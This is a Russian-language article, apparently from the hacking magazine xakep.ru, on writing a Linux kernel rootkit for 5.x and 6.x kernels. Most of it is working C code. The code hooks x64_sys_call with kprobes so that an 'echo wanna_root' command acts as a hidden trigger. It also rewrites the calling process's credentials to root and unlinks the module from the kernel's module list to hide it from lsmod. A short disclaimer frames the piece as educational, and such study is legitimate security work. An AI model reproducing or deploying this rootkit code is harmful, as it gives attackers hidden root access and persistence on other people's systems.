Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Руткиты для Linux известны уже довольно давно, они отличаются высокой изощренностью архитектуры, способны эффективно перехватывать системные вызовы и маскировать свое присутствие в системе. Сегодня мы попытаемся написать собственный Linux-руткит, чтобы на его примере изучить ключевые механизмы работы таких вредоносных программ.
Недавно я наткнулся на новость, опубликованную в журнале «Хакер», где говорилось, что обнаружен новый Linux-руткит Pumakit. С ядром ОС Linux я никогда ранее не сталкивался, и идея разобраться в нем буквально поглотила меня. В статье я попытаюсь описать особенности, которые мне удалось выявить при написании собственного руткита под современные ядра Linux версий 5.x и 6.x (x86_64).
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Когда я исследовал руткиты для Linux, то неоднократно посещал GitHub в поисках подобных программ, чтобы примерно понимать их структуру и функциональные возможности. И вот что мне бросалось в глаза: практически во всех реализациях руткитов используется метод перехвата syscall’ов путем перезаписи таблицы системных вызовов sys_call_table
.
Устаревший метод перехвата syscall’ов
Однако с недавнего времени этот метод больше не работает, поскольку сообщество Linux-разработчиков выкатило патч, при котором упомянутая таблица не используется:
Ядро Linux напичкано не только всякими жизнетворящими вещами, оно также имеет в своем арсенале механизмы отладки, которые поддерживаются из ядра в ядро. С версии 2.6.9 в Linux kernel появился kprobes. Kprobes — это средство динамической отладки ядра, позволяющее ставить breakpoints на доступные для записи участки памяти и самостоятельно обрабатывать их.
Принцип работы kprobes
Синтаксис механизма отладки довольно простой:
// Структура kprobe описана в файле include/linux/kprobes.hstatic struct kprobe un = { // Место, куда мы будем ставить бряк (экспортированный ядром символ) .symbol_name = "kernel_clone", // Обработчик бряка .pre_handler = intercept,};static int __init init(void) {// Регистрируем «пробу»register_kprobe(&un);...}static void __exit bye(void) {// Удаляем «пробу»unregister_kprobe(&un);...}
Кстати, посмотреть, экспортирован ядром символ или нет, можно, прочитав файл kallsyms:
cat /proc/kallsyms | grep "имя символа"
Популярный руткит diamorphine для общения с пользователем использует перехваченный syscall — kill
. Однако для этого он ставит хук на sys_call_table
, что уже неактуально. Как же тогда отслеживать системные вызовы? Ответ прост: перехват x64_sys_call
.
Все дело в том, что x64_sys_call
участвует при вызове любого «сискола». Это некая обертка над каждым системным вызовом, подключающая макросы, в качестве которых реализованы системные вызовы.
// regs — аргументы системного вызова// nr — номер системного вызоваlong x64_sys_call(const struct pt_regs *regs, unsigned int nr){ switch (nr) { // Здесь находятся системные вызовы в качестве макросов вида SYSCALL_DEFINEX(name, args...), // где X — количество аргументов в syscall’e #include <asm/syscalls_64.h> default: return __x64_sys_ni_syscall(regs); }};
Важно отметить, что x64_sys_call
также экспортирована ядром.
Проверка символа x64_sys_call на экспорт
Отлично, теперь осталось использовать это для организации общения с пользователем. Присмотримся к команде echo
.
Результат трассировки команды echo
Echo
использует в своей работе write
— как раз то, что нам и нужно. Подытожив сказанное, напишем обработчик команд пользователя:
// Идентификатор команды, которую будет отлавливать обработчик команд#define ROOT "wanna_root"// Наша пробаstatic struct kprobe un = { .symbol_name = "x64_sys_call", // Обработчик .pre_handler = intercept,};static int intercept(struct kprobe *p, struct pt_regs *regs) { // Проверяем номер системного вызова, передаваемый в x64_sys_call if (regs->si == __NR_write){ // Сохраняем параметры, передаваемые вместе с write struct pt_regs *pRegs = (struct pt_regs*)regs->di; // Если текст, переданный в echo, совпадает с именем команды, то обрабатываем ее if (!strncmp( (const char*)(pRegs->si) , ROOT ,10)) {...Функция, выполняемая при загрузке модуляstatic int __init init(void) {...int err; err = register_kprobe(&un); if (err < 0) { pr_err("Failed to register kprobe, error: %dn", err); return err; }...}
Здесь нам не нужно использовать copy_from_user
, поскольку информация уже находится в режиме ядра.
Все системные вызовы осуществляются в контексте процесса, то есть мы можем получить доступ к памяти, окружению процесса в момент выполнения syscall’a. Каждый процесс олицетворяется в ядре структурой struct task_struct
, которая имеет довольно внушительный размер. Внутри этой структуры есть поле, отвечающее за привилегии процесса, к которому мы можем обратиться.
Поля, отвечающие за привилегии процесса
Поскольку мы находимся в режиме ядра, то особых проблем с повышением привилегий не имеем. Достаточно просто заменить эту структурку своей, и вуаля!
static int root_func(void){ struct cred *newcreds; // Инициализация структуры newcreds = prepare_creds(); if (newcreds == NULL){ pr_alert("can't prepare credsn"); return 1; } // Выдаем себе рут newcreds->uid.val = newcreds->gid.val = 0; // euid и egid — «эффективные» привилегии, то есть привилегии запущенного процесса newcreds->euid.val = newcreds->egid.val = 0; newcreds->suid.val = newcreds->sgid.val = 0; newcreds->fsuid.val = newcreds->fsgid.val = 0; // Вносим свои изменения commit_creds(newcreds); return 0;}
info
Чтобы избежать конфликта, при разработке ядерных модулей следует описывать все свои функции и глобальные переменные с приставкой static
. Это необходимо, поскольку ядро экспортирует все символы в глобальную область видимости и пользователь может вызвать своим неаккуратным поведением конфликт имен.
Что касается самоудаления из списка загруженных модулей — дело нескольких строчек кода. Наш руткит представляет собой kernel object file
, который также представлен своей структурой в памяти ядра. Мы просто удаляем себя из связного списка загруженных модулей:
// Прячемся от команды lsmod — команды, выводящей все загруженные в память модулиstatic inline void hide_func(void){ // THIS_MODULE — глобальный макрос, позволяющий обратиться к структуре своего модуля // Поле list — связный список загруженных в память ядра модулей module_previous = THIS_MODULE->list.prev; // unlink module_previous->next = THIS_MODULE->list.next; hidden=1;}// Возвращаемся в стройstatic inline void show_func(void){ // Нужно, чтобы не словить segfault if (module_previous !=NULL && hidden==1){ module_previous->next = &THIS_MODULE->list; hidden=0; }}
Источник: xakep.ru